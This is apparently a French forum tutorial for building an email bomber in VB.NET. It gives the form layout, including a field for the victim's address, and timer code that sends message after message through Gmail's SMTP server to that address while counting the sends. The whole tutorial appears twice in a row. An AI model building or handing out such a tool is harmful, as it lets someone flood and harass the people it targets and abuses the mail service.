Je vous présente un Bombeer mail en VB8
Il vous faut:
7 Label
5 TextBox
2 Button
1 Timer
Label1 : Username Gmail
Label2 : Password Gmail
Label3 : Email de la victime
Label4 : Subject
Label5 : Message
Label6 : Sent :
Label7 : 0
Tout en haut du code Source mettez ça:
Code :
Imports System.Net.Mail
Double clique sur le timer ajouter sa:
Code :
Dim mymailmessage As New MailMessage
mymailmessage.From = New MailAddress(TextBox1.Text)
mymailmessage.To.Add(TextBox3.Text)
mymailmessage.Subject = (TextBox4.Text)
mymailmessage.Body = (TextBox5.Text)
Dim smtpserver As New SmtpClient("smtp.gmail.com")
smtpserver.Port = (587)
smtpserver.Credentials = New System.Net.NetworkCredential(TextBox1.Text, TextBox2.Text)
smtpserver.EnableSsl = True
smtpserver.Send(mymailmessage)
Label7.Text = Val(Label7.Text + 1)
Double clique Button 1:
Code :
Timer1.Start()
Double clique sur Button 2 ajouter sa:
Code :
Timer1.stop()
ênissay»
Il vous faut:
7 Label
5 TextBox
2 Button
1 Timer
Label1 : Username Gmail
Label2 : Password Gmail
Label3 : Email de la victime
Label4 : Subject
Label5 : Message
Label6 : Sent :
Label7 : 0
Tout en haut du code Source mettez ça:
Code :
Imports System.Net.Mail
Double clique sur le timer ajouter sa:
Code :
Dim mymailmessage As New MailMessage
mymailmessage.From = New MailAddress(TextBox1.Text)
mymailmessage.To.Add(TextBox3.Text)
mymailmessage.Subject = (TextBox4.Text)
mymailmessage.Body = (TextBox5.Text)
Dim smtpserver As New SmtpClient("smtp.gmail.com")
smtpserver.Port = (587)
smtpserver.Credentials = New System.Net.NetworkCredential(TextBox1.Text, TextBox2.Text)
smtpserver.EnableSsl = True
smtpserver.Send(mymailmessage)
Label7.Text = Val(Label7.Text + 1)
Double clique Button 1:
Code :
Timer1.Start()
Double clique sur Button 2 ajouter sa:
Code :
Timer1.stop()
ênissay»